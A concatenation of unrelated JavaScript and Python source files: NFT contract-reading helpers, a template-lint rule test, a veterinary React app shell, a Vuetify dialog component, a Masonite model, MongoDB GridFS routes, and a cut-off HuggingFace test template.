constant: false,
inputs: [
{ internalType: "address", name: "to", type: "address" },
{ internalType: "bool", name: "approved", type: "bool" },
],
name: "setApprovalForAll",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: "function",
},
{
constant: true,
inputs: [{ internalType: "bytes4", name: "interfaceId", type: "bytes4" }],
name: "supportsInterface",
outputs: [{ internalType: "bool", name: "", type: "bool" }],
payable: false,
stateMutability: "view",
type: "function",
},
{
constant: true,
inputs: [],
name: "symbol",
outputs: [{ internalType: "string", name: "", type: "string" }],
payable: false,
stateMutability: "view",
type: "function",
},
{
constant: true,
inputs: [],
name: "tokenReferenceURI",
outputs: [{ internalType: "string", name: "", type: "string" }],
payable: false,
stateMutability: "view",
type: "function",
},
{
constant: true,
inputs: [{ internalType: "uint256", name: "tokenID", type: "uint256" }],
name: "tokenURI",
outputs: [{ internalType: "string", name: "", type: "string" }],
payable: false,
stateMutability: "view",
type: "function",
},
{
constant: true,
inputs: [],
name: "totalArtPieces",
outputs: [{ internalType: "uint256", name: "", type: "uint256" }],
payable: false,
stateMutability: "view",
type: "function",
},
{
constant: false,
inputs: [
{ internalType: "address", name: "from", type: "address" },
{ internalType: "address", name: "to", type: "address" },
{ internalType: "uint256", name: "tokenId", type: "uint256" },
],
name: "transferFrom",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: "function",
},
{
constant: false,
inputs: [{ internalType: "address", name: "newOwner", type: "address" }],
name: "transferOwnership",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: "function",
},
{
constant: false,
inputs: [{ internalType: "address", name: "newAddress", type: "address" }],
name: "updateArtistAddress",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: "function",
},
{
constant: false,
inputs: [
{ internalType: "string", name: "newIPFSURL", type: "string" },
{ internalType: "string", name: "newArweaveURL", type: "string" },
],
name: "updateLinks",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: "function",
},
{
constant: false,
inputs: [{ internalType: "string", name: "newURI", type: "string" }],
name: "updateURI",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: "function",
},
];
const readThatMeta = async (params, context) => {
const { contractId, tokenId } = params;
const infuraUrl = context.$config.infuraUrl;
if (!infuraUrl) {
console.error("no infuraurl");
return null;
}
if (!contractId) {
return null;
}
if (!Web3) {
return null;
}
const readWeb3 = new Web3(new Web3.providers.HttpProvider(infuraUrl));
const contract = new readWeb3.eth.Contract(abiART, contractId);
const getName = contract.methods
.name()
.call()
.then((result) => {
console.log("result is", result);
return result;
})
.catch((err) => {
console.info("Get Contract Name error", err);
return "";
// throw err;
});
const getSymbol = contract.methods
.symbol()
.call()
.then((result) => {
console.log("getSymbol result is", result);
return result;
})
.catch((err) => {
console.info("Get Contract Symbol error", err);
return "";
// throw err;
});
const getTotalTokens = contract.methods
.totalArtPieces()
.call()
.then((result) => {
console.log("getTotalTokens result is", result);
return result;
})
.catch((err) => {
console.info("Get Contract Tokens Count error", err);
return "";
// throw err;
});
const getOwner = contract.methods
.owner()
.call()
.then((result) => {
console.log("owner result is", result);
return result;
})
.catch((err) => {
console.info("Get Contract Owner error", err);
// throw err;
return "";
});
const promiseArray = [getName, getSymbol, getTotalTokens, getOwner];
// console.log("readMeta: promiseArray", promiseArray);
const allMeta = await Promise.allSettled(promiseArray)
.then((values) => {
// console.log("READ: values:", values);
const data = {
name: values[0].value,
symbol: values[1].value,
count: values[2].value,
owner: values[3].value,
};
return data;
})
.catch((error) => {
console.error(error);
return error;
});
return allMeta;
};
const readThatShit = async (params, context) => {
const { tokenId, contractId } = params;
const infuraUrl = context.$config.infuraUrl;
// let fileTypeByID
// let contractData = {}
if (!infuraUrl) {
console.error("no infuraurl");
return null;
}
if (!contractId) {
return null;
}
if (!Web3) {
return null;
}
const readWeb3 = new Web3(new Web3.providers.HttpProvider(infuraUrl));
const contract = new readWeb3.eth.Contract(abiART, contractId);
const isAlpha = contractId === "0xd0c402bcbcb5e70157635c41b2810b42fe592bb0";
// console.log('contract.methods', contract.methods)
const coreMetadata = contract.methods
.getCoreMetadata(tokenId)
.call()
.then((result) => {
console.log("result is", result);
if (isAlpha) {
console.log("READ: is alpha contract");
}
const data = {
title: result.artTitleByID,
authorName: result.artistNameByID,
description: result.artistNoteByID,
edition: result.editionNumberByID,
fileArweaveHash: result.fileArweaveHashByID,
fileIpfsHash: result.fileIPFSHashByID,
editions: result.totalEditionsByID,
};
return data;
})
.catch((err) => {
console.error("coreMetadata error", err);
throw err;
});
console.log("READ before additional meta", isAlpha);
const additionalMetadata =
!isAlpha &&
(await contract.methods
.getAdditionalMetadata(tokenId)
.call()
.then((result) => {
// console.log('result', result)
const data = {
exhibition: result.exhibitionByID,
fileType: result.fileTypeByID,
thumbnailHash: result.thumbnailHashByID,
};
// FILE TYPE
// document.getElementById('metadata7').textContent = idresult7
// document.getElementById('metadata8').textContent = idresult8
// fileTypeByID = idresult7
return data;
})
.catch((err) => {
console.error("additionalMetadata error", err);
throw err;
}));
// console.log('additionalMetadata', additionalMetadata)
const ownerOfToken =
!isAlpha &&
contract.methods
.ownerOf(tokenId)
.call()
.then((result) => {
// console.log('ownerOf result', result)
// if (document) {
// document.getElementById('owner0').textContent = result
// }
return result;
})
.catch((err) => {
console.error("ownerOfToken error", err);
throw err;
});
const imageLinkData =
!isAlpha &&
contract.methods
.getImageLink(tokenId)
.call()
.then((resultLinks) => {
// console.info("imageLinkData resultLinks ", resultLinks);
const linkData = {
fileArweaveUrl: resultLinks.fileArweaveURL,
fileIpfsUrl: resultLinks.fileIPFSURL,
thumbnailUrl: resultLinks.thumbnailURL,
};
return linkData;
})
.catch((err) => {
console.error("imageLinkData error ", err);
});
const royaltyData =
!isAlpha &&
contract.methods
.getRoyaltyData(tokenId)
.call()
.then((result) => {
// console.log('result', result)
const { artistAddress, royaltyFeeByID } = result;
// let [royaltyresult0, royaltyresult1] = result3
// if (document) {
// document.getElementById('royalty0').textContent = royaltyresult0
// document.getElementById('royalty1').textContent = royaltyresult1
// }
return { artistAddress, royaltyFee: royaltyFeeByID };
})
.catch((err) => {
console.error("royaltyData error: ", err);
throw err;
});
// dont get things if alpha contract
const promiseArray = isAlpha
? [
coreMetadata,
// royaltyData,
// ownerOfToken,
imageLinkData,
]
: [
coreMetadata,
additionalMetadata,
royaltyData,
ownerOfToken,
imageLinkData,
];
// console.log("read: promiseArray", promiseArray);
const allData = await Promise.allSettled(promiseArray)
.then((values) => {
console.log("READ: values:", values);
const data = {
...(values[0] && values[0].value),
...(values[1] && values[1].value),
...(values[2] && values[2].value),
ownerAddress: values[3] && values[3].value,
...(values[4] && values[4].value),
};
// console.log("read: all data", data);
return data;
})
.catch((error) => {
console.error(error);
return error;
});
return allData;
};
const readThatToken = async (params, context) => {
const { tokenId, contractId } = params;
const infuraUrl = context.$config.infuraUrl;
if (!infuraUrl) {
console.error("no infuraurl");
return null;
}
if (!contractId) {
return null;
}
if (!Web3) {
return null;
}
const readWeb3 = new Web3(new Web3.providers.HttpProvider(infuraUrl));
const contract = new readWeb3.eth.Contract(abiART, contractId);
const getSymbol = contract.methods
.symbol(tokenId)
.call()
.then((result) => {
console.log("result is", result);
// const data = {
// title: result.artTitleByID,
// authorName: result.artistNameByID,
// description: result.artistNoteByID,
// edition: result.editionNumberByID,
// fileArweaveHash: result.fileArweaveHashByID,
// fileIpfsHash: result.fileIPFSHashByID,
// editions: result.totalEditionsByID,
// };
return data;
})
.catch((err) => {
console.error(err);
throw err;
});
const allData = await Promise.allSettled([
getSymbol,
// additionalMetadata,
// royaltyData,
// ownerOfToken,
// imageLinkData,
])
.then((values) => {
console.log("values:", values);
// const data = {
// ...values[0].value,
// ...values[1].value,
// ...values[2].value,
// ownerAddress: values[3].value,
// ...values[4].value,
// };
return data;
})
.catch((error) => {
console.error(error);
return error;
});
return allData;
};
/**
* ADDITIONAL Meta
* retrieves only additonal data
*/
const readAdditionalMeta = async (params, context) => {
const { tokenId, contractId } = params;
const infuraUrl = context.$config.infuraUrl;
if (!contractId) {
return null;
}
if (!Web3) {
return null;
}
const readWeb3 = new Web3(new Web3.providers.HttpProvider(infuraUrl));
const contract = new readWeb3.eth.Contract(abiART, contractId);
const additionalMetadata = await contract.methods
.getAdditionalMetadata(tokenId)
.call()
.then((result1) => {
// console.log("result1", result1);
// let [idresult8, idresult7, idresult9] = result1
// const additionalData = {
// fileTypeByID: idresult7,
// exhibitionByID: idresult8,
// thumbnailHashByID: idresult9,
// }
// console.log('additoinalData', additionalData)
// FILE TYPE
// document.getElementById('metadata7').textContent = idresult7
// document.getElementById('metadata8').textContent = idresult8
// fileTypeByID = idresult7
return result1;
// if (idresult7) {
// bodyElement && bodyElement.classList.add(idresult7)
// }
})
.catch((err) => {
console.error(err);
throw err;
});
// console.log("additionalMetadata", additionalMetadata);
return additionalMetadata;
};
/**
* ROYALTY DATA
* retrieves only royalty data
*/
const readRoyaltyData = async (params, context) => {
const { tokenId, contractId } = params;
// let fileTypeByID
// const network = context.$config.network
const infuraUrl = context.$config.infuraUrl;
if (!contractId) {
return null;
}
if (!Web3) {
return null;
}
const readWeb3 = new Web3(new Web3.providers.HttpProvider(infuraUrl));
const contract = new readWeb3.eth.Contract(abiART, contractId);
const royaltyData = await contract.methods
.getRoyaltyData(tokenId)
.call()
.then((result3) => {
// let [royaltyresult0, royaltyresult1] = result3
if (document) {
document.getElementById("royalty0").textContent = royaltyresult0;
document.getElementById("royalty1").textContent = royaltyresult1;
}
})
.catch((err) => {
console.error(err);
throw err;
});
console.log("royaltyData", royaltyData);
return royaltyData;
};
/**
* IMAGE LINK
*/
const readImageLink = (params, context) => {
const { tokenId, contractId } = params;
if (!contractId) {
return null;
}
const infuraUrl = context.$config.infuraUrl;
if (!infuraUrl) {
console.error("no infuraUrl: ", infuraUrl);
throw "no infuraUrl";
}
const readWeb3 = new Web3(new Web3.providers.HttpProvider(infuraUrl));
const contract = new readWeb3.eth.Contract(abiART, contractId);
// console.log("gettingimagelink tokenId: ", tokenId);
const imageLinkData = contract.methods
.getImageLink(tokenId)
.call()
.then((resultLinks) => {
// console.log("resultlinks: ", resultLinks);
return resultLinks;
})
.catch((err) => {
console.error(err);
throw err;
});
return imageLinkData;
};
/** GET QUERY VARIABLE
* for when there is url strings
*/
// function getQueryVariable(variable) {
// var query = window.location.search.substring(1)
// var vars = query.split('&')
// for (var i = 0; i < vars.length; i++) {
// var pair = vars[i].split('=')
// if (pair[0] == variable) {
// return pair[1]
// }
// }
// return false
// }
/**RENDER */
// const render = (fileType, src, parent) => {
// var read
// if (!document) {
// return null
// }
// switch (fileType) {
// case 'glb':
// read = document.createElement('model-viewer')
// read.setAttribute('auto-rotate', '')
// read.setAttribute('camera-controls', '')
// read.className = 'tokenImage3d'
// break
// case 'mp4':
// read = document.createElement('video')
// read.setAttribute('autoplay', '')
// read.setAttribute('loop', '')
// read.setAttribute('controls', '')
// read.className = 'tokenImage'
// break
// default:
// read = document.createElement('img')
// read.className = 'tokenImage'
// }
// read.src = src
// var output = document && document.getElementById(parent)
// console.log('output', output)
// // output.innerHTML = ''
// // output.appendChild(read)
// }
export {
readThatShit,
readThatMeta,
readAdditionalMeta,
readRoyaltyData,
readImageLink,
};
|
'use strict';
const generateRuleTests = require('../../helpers/rule-test-harness');
const messages = require('../../../lib/rules/lint-simple-unless').messages;
generateRuleTests({
name: 'simple-unless',
config: {
whitelist: ['or', 'eq', 'not-eq'],
maxHelpers: 2,
},
good: [
"{{#unless isRed}}I'm blue, da ba dee da ba daa{{/unless}}",
'<div class="{{unless foo \'no-foo\'}}"></div>',
'<div class="{{if foo \'foo\'}}"></div>',
'{{unrelated-mustache-without-params}}',
'{{#if foo}}{{else}}{{/if}}',
'{{#if foo}}{{else}}{{#unless bar}}{{/unless}}{{/if}}',
'{{#if foo}}{{else}}{{unless bar someProperty}}{{/if}}',
'{{#unless (or foo bar)}}order whiskey{{/unless}}',
'{{#unless (eq (or foo bar) baz)}}order whiskey{{/unless}}',
['{{#unless hamburger}}', ' HOT DOG!', '{{/unless}}'].join('\n'),
{
config: true,
template: '{{unless foo bar}}',
},
{
config: {
whitelist: ['or', 'eq', 'not-eq'],
maxHelpers: 2,
},
template: '{{unless (eq foo bar) baz}}',
},
{
config: {
whitelist: [],
maxHelpers: 2,
},
template: '{{unless (eq (not foo) bar) baz}}',
},
{
config: {
maxHelpers: 2,
},
template: '{{unless (eq (not foo) bar) baz}}',
},
{
config: {
maxHelpers: -1,
},
template: '{{unless (eq (not foo) bar) baz}}',
},
{
config: {
maxHelpers: -1,
blacklist: [],
},
template: '{{unless (eq (not foo) bar) baz}}',
},
{
config: {
maxHelpers: -1,
blacklist: ['or'],
},
template: '{{unless (eq (not foo) bar) baz}}',
},
],
bad: [
{
config: {
whitelist: ['or', 'eq', 'not-eq'],
maxHelpers: 2,
},
template: "{{unless (if (or true)) 'Please no'}}",
result: {
message: messages.withHelper + ' Allowed helpers: or,eq,not-eq',
moduleId: 'layout.hbs',
source: '{{unless (if ...',
line: 1,
column: 9,
},
},
{
template: "{{unless (if true) 'Please no'}}",
result: {
message: messages.withHelper + ' Allowed helpers: or,eq,not-eq',
moduleId: 'layout.hbs',
source: '{{unless (if ...',
line: 1,
column: 9,
},
},
{
template: "{{unless (and isBad isAwful) 'notBadAndAwful'}}",
result: {
message: messages.withHelper + ' Allowed helpers: or,eq,not-eq',
moduleId: 'layout.hbs',
source: '{{unless (and ...',
line: 1,
column: 9,
},
},
{
template: [
'{{#unless bandwagoner}}',
' Go Niners!',
'{{else}}',
' Go Seahawks!',
'{{/unless}}',
].join('\n'),
result: {
message: messages.followingElseBlock,
moduleId: 'layout.hbs',
source: '{{else}}',
line: 3,
column: 0,
},
},
{
template: ['{{#unless bandwagoner}}', '{{else}}', '{{/unless}}'].join('\n'),
result: {
message: messages.followingElseBlock,
moduleId: 'layout.hbs',
source: '{{else}}',
line: 2,
column: 0,
},
},
{
template: [
'{{#unless bandwagoner}}',
'{{else}}',
' {{#my-component}}',
' {{/my-component}}',
'{{/unless}}',
].join('\n'),
result: {
message: messages.followingElseBlock,
moduleId: 'layout.hbs',
source: '{{else}}',
line: 2,
column: 0,
},
},
{
template: [
'{{#unless bandwagoner}}',
' Go Niners!',
'{{else if goHawks}}',
' Go Seahawks!',
'{{/unless}}',
].join('\n'),
result: {
message: messages.followingElseBlock,
moduleId: 'layout.hbs',
source: '{{else if goHawks}}',
line: 3,
column: 0,
},
},
{
template: [
'{{#unless bandwagoner}}',
' Go Niners!',
'{{else if goPats}}',
' Tom Brady is GOAT',
'{{else if goHawks}}',
' Go Seahawks!',
'{{/unless}}',
].join('\n'),
result: {
message: messages.followingElseBlock,
moduleId: 'layout.hbs',
source: '{{else if goPats}}',
line: 3,
column: 0,
},
},
{
template: [
'{{#unless bandwagoner}}',
' Go Niners!',
'{{else if goBengals}}',
' Ouch, sorry',
'{{else}}',
' Go Seahawks!',
'{{/unless}}',
].join('\n'),
result: {
message: messages.followingElseBlock,
moduleId: 'layout.hbs',
source: '{{else if goBengals}}',
line: 3,
column: 0,
},
},
{
template: ['{{#if dog}}', ' Ruff Ruff!', '{{else unless cat}}', ' not cat', '{{/if}}'].join(
'\n'
),
result: {
message: messages.asElseUnlessBlock,
moduleId: 'layout.hbs',
source: '{{else unless ...',
line: 3,
column: 0,
},
},
{
template: [
'{{#unless (and isFruit isYellow)}}',
' I am a green celery!',
'{{/unless}}',
].join('\n'),
result: {
message: messages.withHelper + ' Allowed helpers: or,eq,not-eq',
moduleId: 'layout.hbs',
source: '{{unless (and ...',
line: 1,
column: 10,
},
},
{
template: [
'{{#unless (not isBrown isSticky)}}',
' I think I am a brown stick',
'{{/unless}}',
].join('\n'),
result: {
message: messages.withHelper + ' Allowed helpers: or,eq,not-eq',
moduleId: 'layout.hbs',
source: '{{unless (not ...',
line: 1,
column: 10,
},
},
{
template: [
'{{#unless isSticky}}',
' I think I am a brown stick',
'{{else}}',
' Not a brown stick',
'{{/unless}}',
].join('\n'),
result: {
message: messages.followingElseBlock,
moduleId: 'layout.hbs',
source: '{{else}}',
line: 3,
column: 0,
},
},
{
template: [
'{{#unless (or (eq foo bar) (not-eq baz "beer"))}}',
' MUCH HELPERS, VERY BAD',
'{{/unless}}',
].join('\n'),
result: {
message: messages.withHelper + ' MaxHelpers: 2',
moduleId: 'layout.hbs',
source: '{{unless (... (not-eq ...',
line: 1,
column: 27,
},
},
{
config: true,
template: [
'{{#unless (concat "blue" "red")}}',
' I think I am a brown stick',
'{{/unless}}',
].join('\n'),
result: {
message:
'Using {{unless}} in combination with other helpers should be avoided. MaxHelpers: 0',
source: '{{unless (concat ...',
line: 1,
column: 10,
},
},
{
config: {
whitelist: ['test'],
maxHelpers: 1,
},
template: [
'{{#unless (one (test power) two)}}',
' I think I am a brown stick',
'{{/unless}}',
].join('\n'),
results: [
{
message:
'Using {{unless}} in combination with other helpers should be avoided. Allowed helper: test',
source: '{{unless (one ...',
line: 1,
column: 10,
},
{
message:
'Using {{unless}} in combination with other helpers should be avoided. MaxHelpers: 1',
source: '{{unless (... (test ...',
line: 1,
column: 15,
},
],
},
{
config: {
whitelist: [],
maxHelpers: 2,
},
template: [
'{{#unless (one (two three) (four five))}}',
' I think I am a brown stick',
'{{/unless}}',
].join('\n'),
result: {
message:
'Using {{unless}} in combination with other helpers should be avoided. MaxHelpers: 2',
source: '{{unless (... (four ...',
line: 1,
column: 27,
},
},
{
config: {
blacklist: ['two'],
maxHelpers: -1,
},
template: [
'{{#unless (one (two three) (four five))}}',
' I think I am a brown stick',
'{{/unless}}',
].join('\n'),
result: {
message:
'Using {{unless}} in combination with other helpers should be avoided. Restricted helper: two',
source: '{{unless (... (two ...',
line: 1,
column: 15,
},
},
{
config: {
blacklist: ['two', 'four'],
maxHelpers: -1,
},
template: [
'{{#unless (one (two three) (four five))}}',
' I think I am a brown stick',
'{{/unless}}',
].join('\n'),
results: [
{
message:
'Using {{unless}} in combination with other helpers should be avoided. Restricted helpers: two,four',
source: '{{unless (... (two ...',
line: 1,
column: 15,
},
{
message:
'Using {{unless}} in combination with other helpers should be avoided. Restricted helpers: two,four',
source: '{{unless (... (four ...',
line: 1,
column: 27,
},
],
},
],
});
|
// import logo from './logo.svg';
import './css/App.css';
import {Home} from './pages/home.js';
import {Pets} from './pages/pets.js';
import {Exams} from './pages/exams.js';
import {Token} from './pages/token.js';
import {BrowserRouter, Route, Switch, NavLink} from 'react-router-dom';
function App() {
return (
<BrowserRouter>
<div className="App container">
<h2 className="d-flex justify-content-center m-3">
SIRIO
</h2>
<h3 className="d-flex justify-content-center m-3">
Investigación y Análisis Veterinario
</h3>
<nav className="navbar navbar-expand-sm bg-light navbar-dark">
<ul className="navbar-nav">
<li className="nav-item- m-1">
<NavLink className="btn btn-light btn-outline-primary" to="/login">
Ingreso
</NavLink>
</li>
<li className="nav-item- m-1">
<NavLink className="btn btn-light btn-outline-primary" to="/pets">
Pacientes
</NavLink>
</li>
<li className="nav-item- m-1">
<NavLink className="btn btn-light btn-outline-primary" to="/exams">
Exámen Solicitado
</NavLink>
</li>
</ul>
</nav>
<Switch>
<Route path='/login' component={Home}/>
<Route path='/pets' component={Pets}/>
<Route path='/exams' component={Exams}/>
<Route path='/token' component={Token}/>
</Switch>
</div>
</BrowserRouter>
);
}
export default App;
|
// Styles
import "../../../src/components/VDataTable/VEditDialog.sass"; // Mixins
import Returnable from '../../mixins/returnable';
import Themeable from '../../mixins/themeable'; // Utils
import { keyCodes } from '../../util/helpers'; // Component
import VBtn from '../VBtn';
import VMenu from '../VMenu';
import mixins from '../../util/mixins';
/* @vue/component */
export default mixins(Returnable, Themeable).extend({
name: 'v-edit-dialog',
props: {
cancelText: {
default: 'Cancel'
},
large: Boolean,
eager: Boolean,
persistent: Boolean,
saveText: {
default: 'Save'
},
transition: {
type: String,
default: 'slide-x-reverse-transition'
}
},
data() {
return {
isActive: false
};
},
watch: {
isActive(val) {
if (val) {
this.$emit('open');
setTimeout(this.focus, 50); // Give DOM time to paint
} else {
this.$emit('close');
}
}
},
methods: {
cancel() {
this.isActive = false;
this.$emit('cancel');
},
focus() {
const input = this.$refs.content.querySelector('input');
input && input.focus();
},
genButton(fn, text) {
return this.$createElement(VBtn, {
props: {
text: true,
color: 'primary',
light: true
},
on: {
click: fn
}
}, text);
},
genActions() {
return this.$createElement('div', {
class: 'v-small-dialog__actions'
}, [this.genButton(this.cancel, this.cancelText), this.genButton(() => {
this.save(this.returnValue);
this.$emit('save');
}, this.saveText)]);
},
genContent() {
return this.$createElement('div', {
staticClass: 'v-small-dialog__content',
on: {
keydown: e => {
const input = this.$refs.content.querySelector('input');
e.keyCode === keyCodes.esc && this.cancel();
if (e.keyCode === keyCodes.enter && input) {
this.save(input.value);
this.$emit('save');
}
}
},
ref: 'content'
}, [this.$slots.input]);
}
},
render(h) {
return h(VMenu, {
staticClass: 'v-small-dialog',
class: this.themeClasses,
props: {
contentClass: 'v-small-dialog__menu-content',
transition: this.transition,
origin: 'top right',
right: true,
value: this.isActive,
closeOnClick: !this.persistent,
closeOnContentClick: false,
eager: this.eager,
light: this.light,
dark: this.dark
},
on: {
input: val => this.isActive = val
},
scopedSlots: {
activator: ({
on
}) => {
return h('div', {
staticClass: 'v-small-dialog__activator',
on
}, [h('span', {
staticClass: 'v-small-dialog__activator__content'
}, this.$slots.default)]);
}
}
}, [this.genContent(), this.large ? this.genActions() : null]);
}
});
//# sourceMappingURL=VEditDialog.js.map |
"""Engine Model."""
from config.database import Model
class Engine(Model):
"""Engine Model."""
__fillable__ = ["horsepower", "liters", "serial_number", "mpg", "torque",
"speed_rating"]
|
'use strict';
var _ = require('underscore');
var Busboy = require('busboy');
var GridFSStream = require('gridfs-stream');
var mongo = require('mongodb');
var utils = require('../utils');
// var routes = function(config) {
var routes = function () {
var exp = {};
//view all files in a bucket
exp.viewBucket = function (req, res) {
var files = req.files;
var columns = ['filename', 'length']; // putting these here keeps them at the front/left
var statsAvgChunk = utils.bytesToSize(files.reduce((prev, curr) => prev + curr.chunkSize, 0) / files.length);
var statsTotalSize = utils.bytesToSize(files.reduce((prev, curr) => prev + curr.length, 0));
// Iterate through files for a cleanup
for (var f in files) {
columns.push(Object.keys(files[f])); // Generate an array of columns used by all documents visible on this page
files[f].length = utils.bytesToSize(files[f].length); // Filesizes to something more readable
delete files[f].chunkSize; // Already taken the average above, no need;
}
columns = _.uniq(_.flatten(columns));
columns.splice(columns.indexOf('_id'), 1);
columns.splice(columns.indexOf('chunkSize'), 1);
var ctx = {
buckets: res.locals.gridFSBuckets[req.dbName],
columns: columns,
files: req.files,
title: 'Viewing Bucket: ' + req.bucketName,
stats: {
avgChunk: statsAvgChunk,
totalSize: statsTotalSize,
},
};
res.render('gridfs', ctx);
};
// upload a file
exp.addFile = function (req, res) {
var busboy = new Busboy({ headers: req.headers });
var newFileID = new mongo.ObjectId();
// Override the bucket name with what is currently selected
// https://github.com/aheckmann/gridfs-stream/blob/a3b7c4e48a08ac625cf7564304c83e56d6b93821/lib/index.js#L31
mongo.GridStore.DEFAULT_ROOT_COLLECTION = req.bucketName;
var gfs = new GridFSStream(req.db, mongo);
busboy.on('file', function (fieldname, file, filename, encoding, mimetype) {
if (!filename) {
req.session.error = 'No filename.';
return res.redirect('back');
}
var writeStream = gfs.createWriteStream({
_id: newFileID,
filename: filename,
mode: 'w',
content_type: mimetype,
});
file.pipe(writeStream);
}).on('finish', function () {
req.session.success = 'File uploaded!';
setTimeout(function () {
// short delay to allow Mongo to finish syncing
return res.redirect('back');
}, 500);
});
req.pipe(busboy);
};
// download a file
exp.getFile = function (req, res) {
// Override the bucket name with what is currently selected
// https://github.com/aheckmann/gridfs-stream/blob/a3b7c4e48a08ac625cf7564304c83e56d6b93821/lib/index.js#L31
mongo.GridStore.DEFAULT_ROOT_COLLECTION = req.bucketName;
var gfs = new GridFSStream(req.db, mongo);
gfs.findOne({ _id: req.fileID }, function (err, file) {
if (err) {
console.error(err);
req.session.error = 'Error: ' + err;
return res.redirect('back');
}
if (!file) {
console.error('No file');
req.session.error = 'File not found!';
return res.redirect('back');
}
res.set('Content-Type', file.contentType);
res.set('Content-Disposition', 'attachment; filename="' + file.filename + '"');
var readstream = gfs.createReadStream({
_id: file._id,
});
readstream.on('error', function (err) {
console.error('Got error while processing stream ' + err.message);
req.session.error = 'Error: ' + err;
res.end();
});
readstream.pipe(res);
});
};
// delete a file
exp.deleteFile = function (req, res) {
// Override the bucket name with what is currently selected
// https://github.com/aheckmann/gridfs-stream/blob/a3b7c4e48a08ac625cf7564304c83e56d6b93821/lib/index.js#L31
mongo.GridStore.DEFAULT_ROOT_COLLECTION = req.bucketName;
var gfs = new GridFSStream(req.db, mongo);
gfs.remove({ _id: req.fileID }, function (err) {
if (err) {
req.session.error = 'Error: ' + err;
return res.redirect('back');
}
req.session.success = 'File _id: "' + req.fileID + '" deleted! ';
setTimeout(function () {
// short delay to allow Mongo to finish syncing
return res.redirect('back');
}, 500);
});
};
// add bucket
exp.addBucket = function (req, res) {
req.session.error('addBucket not implemented yet');
res.redirect('back');
// req.session.success = 'Bucket created!';
};
// delete bucket
exp.deleteBucket = function (req, res) {
req.session.error('deleteBucket not implemented yet');
res.redirect('back');
// req.session.success = 'Bucket deleted!';
};
exp.renameBucket = function (req, res) {
req.session.error('renameBucket not implemented yet');
res.redirect('back');
};
return exp;
};
module.exports = routes;
|
# coding=utf-8
# Copyright 2022 The HuggingFace Inc. team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
{% if cookiecutter.is_encoder_decoder_model == "False" %}
import unittest
from transformers import is_tf_available, {{cookiecutter.camelcase_modelname}}Config
from transformers.testing_utils import require_tf, slow
from ..test_configuration_common import ConfigTester
from ..test_modeling_tf_common import TFModelTesterMixin, floats_tensor, ids_tensor
if is_tf_available():
import tensorflow as tf
from transformers import (
TF{{cookiecutter.camelcase_modelname}}ForCausalLM,
TF{{cookiecutter.camelcase_modelname}}ForMaskedLM,
TF{{cookiecutter.camelcase_modelname}}ForMultipleChoice,
TF{{cookiecutter.camelcase_modelname}}ForQuestionAnswering,
TF{{cookiecutter.camelcase_modelname}}ForSequenceClassification,
TF{{cookiecutter.camelcase_modelname}}ForTokenClassification,
TF{{cookiecutter.camelcase_modelname}}Model,
)
class TF{{cookiecutter.camelcase_modelname}}ModelTester:
def __init__(
self,
parent,
batch_size=13,
seq_length=7,
is_training=True,
use_input_mask=True,
use_token_type_ids=True,
use_labels=True,
vocab_size=99,
hidden_size=32,
num_hidden_layers=5,
num_attention_heads=4,
intermediate_size=37,
hidden_act="gelu",
hidden_dropout_prob=0.1,
attention_probs_dropout_prob=0.1,
max_position_embeddings=512,
type_vocab_size=16,
type_sequence_label_size=2,
initializer_range=0.02,
num_labels=3,
num_choices=4,
scope=None,
):
self.parent = parent
self.batch_size = 13
self.seq_length = 7
self.is_training = True
self.use_input_mask = True
self.use_token_type_ids = True
self.use_labels = True
self.vocab_size = 99
self.hidden_size = 32
self.num_hidden_layers = 5
self.num_attention_heads = 4
self.intermediate_size = 37
self.hidden_act = "gelu"
self.hidden_dropout_prob = 0.1
self.attention_probs_dropout_prob = 0.1
self.max_position_embeddings = 512
self.type_vocab_size = 16
self.type_sequence_label_size = 2
self.initializer_range = 0.02
self.num_labels = 3
self.num_choices = 4
self.scope = None
def prepare_config_and_inputs(self):
input_ids = ids_tensor([self.batch_size, self.seq_length], self.vocab_size)
input_mask = None
if self.use_input_mask:
input_mask = ids_tensor([self.batch_size, self.seq_length], vocab_size=2)
token_type_ids = None
if self.use_token_type_ids:
token_type_ids = ids_tensor([self.batch_size, self.seq_length], self.type_vocab_size)
sequence_labels = None
token_labels = None
choice_labels = None
if self.use_labels:
sequence_labels = ids_tensor([self.batch_size], self.type_sequence_label_size)
token_labels = ids_tensor([self.batch_size, self.seq_length], self.num_labels)
choice_labels = ids_tensor([self.batch_size], self.num_choices)
config = {{cookiecutter.camelcase_modelname}}Config(
vocab_size=self.vocab_size,
hidden_size=self.hidden_size,
num_hidden_layers=self.num_hidden_layers,
num_attention_heads=self.num_attention_heads,
intermediate_size=self.intermediate_size,
hidden_act=self.hidden_act,
hidden_dropout_prob=self.hidden_dropout_prob,
attention_probs_dropout_prob=self.attention_probs_dropout_prob,
max_position_embeddings=self.max_position_embeddings,
type_vocab_size=self.type_vocab_size,
initializer_range=self.initializer_range,
return_dict=True,
)
return config, input_ids, token_type_ids, input_mask, sequence_labels, token_labels, choice_labels
def prepare_config_and_inputs_for_decoder(self):
(
config,
input_ids,
token_type_ids,
input_mask,
sequence_labels,
token_labels,
choice_labels,
) = self.prepare_config_and_inputs()
config.is_decoder = True
encoder_hidden_states = floats_tensor([self.batch_size, self.seq_length, self.hidden_size])
encoder_attention_mask = ids_tensor([self.batch_size, self.seq_length], vocab_size=2)
return (
config,
input_ids,
token_type_ids,
input_mask,
sequence_labels,
token_labels,
choice_labels,
encoder_hidden_states,
encoder_attention_mask,
)
def create_and_check_model(
self, config, input_ids, token_type_ids, input_mask, sequence_labels, token_labels, choice_labels
):
model = TF{{cookiecutter.camelcase_modelname}}Model(config=config)
inputs = {"input_ids": input_ids, "attention_mask": input_mask, "token_type_ids": token_type_ids}
inputs = [input_ids, input_mask]
result = model(inputs)
result = model(input_ids)
self.parent.assertEqual(result.last_hidden_state.shape, (self.batch_size, self.seq_length, self.hidden_size))
